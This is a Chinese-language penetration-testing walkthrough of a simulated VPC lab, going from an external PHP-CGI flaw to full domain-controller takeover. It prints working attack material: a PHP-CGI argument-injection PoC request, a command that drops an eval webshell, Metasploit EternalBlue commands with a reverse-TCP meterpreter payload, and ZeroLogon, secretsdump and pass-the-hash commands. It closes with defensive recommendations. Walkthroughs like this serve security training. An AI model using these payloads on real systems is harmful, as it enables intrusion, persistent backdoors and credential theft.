从外网到域控:VPC环境下的渗透测试实战全解析
当企业将业务迁移到云端时,虚拟私有云(VPC)常被视为安全的堡垒。但真实情况是,任何网络环境都可能存在薄弱环节。本文将带您体验一次完整的渗透测试过程,从外网的一个看似普通的Web漏洞开始,逐步深入内网,最终获取域控制器权限。
1. 环境搭建与初始侦察
在开始实战之前,我们需要搭建一个模拟的VPC环境。这个环境包含多个子网,每个子网运行不同的操作系统和服务:
- 外网区域:运行易受攻击的PHP-CGI服务(Windows Server 2012)
- 办公网段:Windows 7和Windows 10客户端
- 应用服务器区:运行Weblogic的Windows Server 2012 R2
- 核心业务区:域控制器(Windows Server 2016)
网络配置的关键点在于:
| 网卡名称 | IP网段 | 连接的系统 |
|---|---|---|
| vmware2 | 192.168.2.0 | Windows 7, Windows 10 |
| vmware3 | 192.168.3.0 | Windows 10, Weblogic服务器 |
| vmware11 | 192.168.10.0 | 域控制器和Web服务器 |
提示:在实际测试中,确保所有服务(XAMPP、Weblogic等)已正确启动,否则会影响渗透流程。
2. 外网突破口:PHP-CGI漏洞利用
我们的渗透测试从外网的PHP-CGI漏洞(CVE-2024)开始。这个漏洞允许攻击者通过精心构造的请求执行任意代码。
漏洞利用步骤:
- 发送特制的POST请求到php-cgi.exe
- 利用auto_prepend_file参数执行系统命令
- 上传Webshell获取持久化访问
以下是利用该漏洞的PoC代码:
POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input HTTP/1.1 Host: 目标IP Content-Type: application/x-www-form-urlencoded Content-Length: 22 <?php system('whoami');?>成功执行命令后,我们可以上传更强大的Webshell。使用以下代码创建一个简单的PHP后门:
<?php file_put_contents('../htdocs/shell.php','<?php eval($_POST["cmd"]);?>');?>3. 内网横向移动:从Web服务器到域控
获得Web服务器权限后,我们开始内网渗透。这个过程需要系统性地进行:
- 信息收集:扫描内网存活主机和开放端口
- 漏洞利用:针对不同系统选择合适的攻击方式
- 权限提升:从普通用户提升到管理员权限
- 凭证窃取:获取更多系统的访问凭证
3.1 利用MS17-010漏洞
在内网中发现Windows 7主机存在MS17-010(EternalBlue)漏洞。由于防火墙限制,我们需要使用反向连接:
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/reverse_tcp set RHOSTS 192.168.2.128 set LHOST 192.168.2.140 set LPORT 1113 exploit成功利用后,我们可以:
- 上传Cobalt Strike beacon获取更稳定的控制
- 使用Mimikatz提取凭证
- 建立SOCKS代理穿透内网
3.2 跨网段攻击Weblogic服务器
通过已控制的Windows 10主机,我们发现192.168.3.0网段存在Weblogic服务器。建立代理后,我们可以利用Weblogic反序列化漏洞:
proxychains4 python3 exploit_weblogic.py 192.168.3.128 7001成功利用后,我们获得了Weblogic服务器的系统权限,并发现了通往域控制器的路径。
4. 最终目标:攻陷域控制器
在接近域控制器的过程中,我们发现可以利用CVE-2020-1472(ZeroLogon)漏洞直接获取域控权限。这个漏洞允许攻击者在不需要任何凭证的情况下完全控制域控制器。
攻击步骤:
- 利用漏洞重置域控的机器账户密码
- 使用空密码获取域控的NT哈希
- 使用哈希传递攻击获取完整控制权
具体操作命令:
proxychains4 python3 cve-2020-1472-exploit.py dc 192.168.10.10 proxychains4 python3 secretsdump.py dc\$@192.168.10.10 -just-dc -no-pass python wmiexec.py -hashes <NT哈希> administrator@192.168.10.105. 渗透后的思考与防御建议
完成这次渗透测试后,有几个关键发现值得注意:
- 漏洞链效应:单个漏洞可能看起来危害不大,但组合利用可以造成严重后果
- 内网信任问题:内网系统间的过度信任是攻击者横向移动的温床
- 凭证管理薄弱:明文存储或弱密码会大大降低攻击难度
防御建议:
- 及时修补已知漏洞,特别是MS17-010和ZeroLogon这类高危漏洞
- 实施网络分段,限制不同安全级别区域间的通信
- 启用多因素认证和强密码策略
- 定期进行渗透测试,发现并修复安全问题